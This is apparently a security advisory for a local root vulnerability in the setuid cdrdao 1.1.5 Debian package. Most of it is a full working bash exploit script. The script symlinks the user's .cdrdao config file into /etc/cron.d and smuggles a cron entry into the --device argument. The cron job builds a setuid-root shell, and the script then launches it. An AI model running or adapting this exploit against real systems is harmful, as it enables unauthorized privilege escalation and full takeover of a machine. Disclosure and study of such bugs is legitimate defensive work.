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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Cdrdao records audio or data CD-Rs in disk-at-once (DAO) mode based on a textual description of the CD contents. There are several security-related bugs in the distributed Debian (SID) Package of CDRDAO. /usr/bin/cdrdao is setuid-root by default allowing gaining of elevated privileges.

Credit:
The information has been provided by Jens Steube.

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Vulnerable systems:
Cdrdao version 1.1.5

One of the feature cdrdao has is the ability to write a configuration file (Written to "$HOME/.cdrdao"). Since it is written by the root user and not as the user who starts cdrdao, it is possible to include data on the written configfile thus it is possible to gain root via a symlink-attack on $HOME/.cdrdao.

Exploit:
#!/bin/bash

## cdrdaohack.sh by Jens "atomi" Steube

ROOTEXECDIR="/etc/cron.d/cdr"
CDRDAO="/usr/bin/cdrdao"
USERCONF="$HOME/.cdrdao"

echo "Testing $CDRDAO"
if [ ! -u $CDRDAO ]; then
  echo "ERROR: $CDRDAO is not setuid or does not exist"
  exit 1
fi

echo "Generating Helper Files"

cat > /tmp/daosh.c << EOF
int main () {
setuid(0); setgid(0);
unlink("/tmp/dao.sh");
unlink("/tmp/daosh.c");
unlink("/etc/cron.d/cdr");
unlink("$HOME/.cdrdao");
execl("/bin/bash","bash","-i",0);
}
EOF

cat > /tmp/dao.sh << EOF
cc -o /tmp/daosh /tmp/daosh.c >/dev/null 2>&1
chown root /tmp/daosh >/dev/null 2>&1
chgrp root /tmp/daosh >/dev/null 2>&1
chmod 6755 /tmp/daosh >/dev/null 2>&1
exit 0
EOF

chmod 700 /tmp/dao.sh

echo "Backing up original $USERCONF file to $USERCONF.orig"
mv $USERCONF $USERCONF.orig >/dev/null 2>&1

echo "Creating Symlink on $USERCONF to $ROOTEXECDIR"
ln -s $ROOTEXECDIR $USERCONF

echo "Executing $CDRDAO"

$CDRDAO write --save --device '
* * * * * root /tmp/dao.sh >/dev/null 2>&1
#' --buffers '
' . >/dev/null 2>&1

echo "Waiting for Rootshell, wait at least 3 minutes"
while [ ! -u /tmp/daosh ]; do
  echo -n "."
  sleep 1
done

echo
echo "Entering Rootshell and removing Helper Files"
echo "Have Phun :-)"
/tmp/daosh

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